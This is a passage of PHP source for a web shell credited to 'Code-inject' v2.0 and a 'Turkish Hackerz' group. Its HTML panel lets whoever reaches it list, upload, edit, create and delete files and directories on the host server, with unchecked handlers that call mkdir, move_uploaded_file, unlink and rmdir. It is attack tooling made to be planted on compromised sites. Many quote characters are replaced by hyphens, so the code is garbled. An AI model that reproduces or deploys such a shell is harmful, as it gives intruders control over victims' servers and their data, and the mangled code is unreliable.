if (is_dir($ccc.$file))
{
echo -<a href=-?dir=ch&dirdel=$ccc$file'><span style='text-decoration: none'><font size='2' face='Comic Sans MS' color=red>Delete</font></span></a>-;
}
echo -</td>-;
//Permissions
echo -<td width='68' style='border:1px solid #C0C0C0; background-color: #333333'>-;
echo -<font face='Comic Sans MS' size=2>-;
$perms = fileperms($ccc.$file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = ---;
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : ---);
$info .= (($perms & 0x0080) ? 'w' : ---);
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : ---));
// Group
$info .= (($perms & 0x0020) ? 'r' : ---);
$info .= (($perms & 0x0010) ? 'w' : ---);
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : ---));
// World
$info .= (($perms & 0x0004) ? 'r' : ---);
$info .= (($perms & 0x0002) ? 'w' : ---);
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : ---));
echo $info;
echo -</font></td>-;
echo -</tr>-;
}
closedir($dh);
}
}
echo -</table></center>-;
//Table Make Directory
echo -<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 height='1' width='100%- bgColor=#333333 borderColorLight=#c0c0c0 border=1 id='table1'>
<form method='POST' action=-->
<tr><a bookmark='minipanel' style='font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none'>
<td width='50%- height='1' valign='top' style='font-family: verdana; color: #d9d9d9; font-size: 11px'><center>
<a bookmark='minipanel' style='font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none'>
<b><font face='Comic Sans MS' size='2'>.:Make Directory:.</font><font color=-#FFFFFF'> </font></b>
<font color=-#FFFFFF'><br>Filename:</font>
<a bookmark='minipanel' style='font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none'>
<input type='text' name='mkdir' value=$ccc size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'></a><input type='submit' name='make' value=- make - style='color: #FFFFFF; border: 1px dotted #FFFFFF; background-color: #000000; font-size:8pt' /></td>
</tr><br></form></table><br>-;
//Table (Upload and Delet file)
echo -<table style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 height='1' width='100%- bgColor=#333333 borderColorLight=#c0c0c0 border=1 id='table1'>
<tr>
<td width='25%- height='1' valign='top' style='font-family: verdana; color: #d9d9d9; font-size: 11px'>
<p align='center'></form><a bookmark='minipanel'>
<b><font face='Comic Sans MS' size='2'>
<a style='font-weight: normal; color: #dadada; text-decoration: none'>.:Delete file:.</a></font></b></a><br><a bookmark='minipanel' style='font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none'>
<form method='POST' action=-->
<center>
<input type='text' name='delete' value=-$ccc' size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'><br><input type='submit' value='Delete' size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'></center></form></td>
<td width='25%- height='1' valign='top' style='font-family: verdana; color: #d9d9d9; font-size: 11px'><a bookmark='minipanel' style='font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none'>
<center>
<form method='POST' enctype='multipart/form-data'>
<b><font face='Comic Sans MS' size='2'>.:Upload:.</font><font color=-#FFFFFF'> </font></b><br>
<input type='file' name='xfile' size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'>
<br>
<input type='submit' value='Upload' size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'>
</form></center></td></tr>
</table><br>-;
//Table (Change Directory & Edit File)
echo -<table style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 height='1' width='100%- bgColor=#333333 borderColorLight=#c0c0c0 border=1 id='table1'>
<tr>
<td width='25%- height='1' valign='top' style='font-family: verdana; color: #d9d9d9; font-size: 11px'>
<p align='center'></form><a bookmark='minipanel'>
<b><font face='Comic Sans MS' size='2'>
<a style='font-weight: normal; color: #dadada; text-decoration: none'>.:<span lang='en-us'>Change
Directory</span>:.</a></font></b></a><a bookmark='minipanel' style='font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none'><form action=-- method=GET>
<p align='center'><b></b>
<input type=text name=dir value=\--.realpath(-.-).-\- size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'><br><input type=submit value=\"Change\- style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'></p>
</form>
<td width='25%- height='1' valign='top' style='font-family: verdana; color: #d9d9d9; font-size: 11px'>
<center>
<p align='center'>
<a bookmark='minipanel' style='font-weight: normal; color: #dadada; text-decoration: none'>
<b><font face='Comic Sans MS' size='2'>.:Edit File:.</font></b></p><font size=1 face='Verdana'>-.stripslashes($file).-</font><br><form method=POST action=--><input type=text name='editfile' value=$ccc size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'><br><input type=submit name='editgo' value=- Go - style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'></form>
</center></td></tr>
</table>-;
//Table (Delete Directory & Make File)
echo -<br><table style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 height='1' width='100%- bgColor=#333333 borderColorLight=#c0c0c0 border=1 id='table1'>
<tr>
<td width='25%- height='1' valign='top' style='font-family: verdana; color: #d9d9d9; font-size: 11px'>
<p align='center'></form><a bookmark='minipanel'>
<b><font face='Comic Sans MS' size='2'>
<a style='font-weight: normal; color: #dadada; text-decoration: none'>.:Delete
Directory:.</a></font></b></a><br><center>
<form method=POST action=--><input type=text name=dd value=$ccc size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'>
<br><input type=submit name=dgo value=Delete style='color: #FFFFFF; border: 1px dotted #FFFFFF; background-color: #000000; font-size:8pt'></form></center>
<td width='25%- height='1' valign='top' style='font-family: verdana; color: #d9d9d9; font-size: 11px'>
<center>
<p align='center'>
<a bookmark='minipanel' style='font-weight: normal; color: #dadada; text-decoration: none'>
<b><font face='Comic Sans MS' size='2'>.:Make File:.</font></b></p>
<form method=post action=-->
<input type=text name=title value=$ccc size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'>
<br><input type='submit' name=gomkf value=Make style='color: #FFFFFF; border: 1px dotted #FFFFFF; background-color: #000000; font-size:8pt'>
</form>
</center></td></tr>
</table>-;
//footer table
echo -
<br><table style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 height='1' width='100%- bgColor=#333333 borderColorLight=#c0c0c0 border=1 id='table1'>
<tr>
<td width='25%- height='1' valign='top' style='font-family: verdana; color: #d9d9d9; font-size: 11px'>
<p align='center'>Powered By
<a title=-::????? ??? ????::- href='http://Code-inject.org'><font color=-#FF0000'>Code-inject</font></a> v2.0<br>[Coded BySiriUS<a href='http://Code-inject.ORG'><font color=red>Code-inject</font></a> Team) ]<br>
<br>Copyright is reserved for BySiriUS<br>Turkish Hackerz</td></tr></table>-;
//Make Directory
if ($_POST['make'])
{
mkdir($mkdir,0777);
echo -<script>alert('Directory Made :) -);</script>-;
}
//Upload
if (!empty ($_FILES['xfile']))
{
move_uploaded_file($_FILES['xfile']['tmp_name'],$_FILES['xfile']['name']);
echo -<script>alert('Uploaded :)-); </script><b>Uploaded !!!</b><br>Filename : -.$_FILES['xfile']['name'].-<br>Filesize : -.$_FILES['xfile']['size'].-<br>Filetype : -.$_FILES['xfile']['type'];
echo -<script language='javascript'> history.back(1)</script>-;
}
//Delete file
if (isset($fdel))
{
unlink($fdel);
echo -<script>alert('File Deleted :)-)</script>-;
echo -<script language='javascript'> history.back(1)</script>-;
}
//Delete Directory
$dpath=$_GET['dirdel'];
if ($dpath <> --)
{
if (is_dir($dpath))
{
$matches = glob($dpath . -/*.*-);
if ( is_array ( $matches ) )
{
foreach ( $matches as $filename)
{
unlink ($filename);
rmdir(-$dpath");
echo -<script> alert('Success!-)</script>-;
echo -<script> history.back(1)</script>-;
}
}
}
}


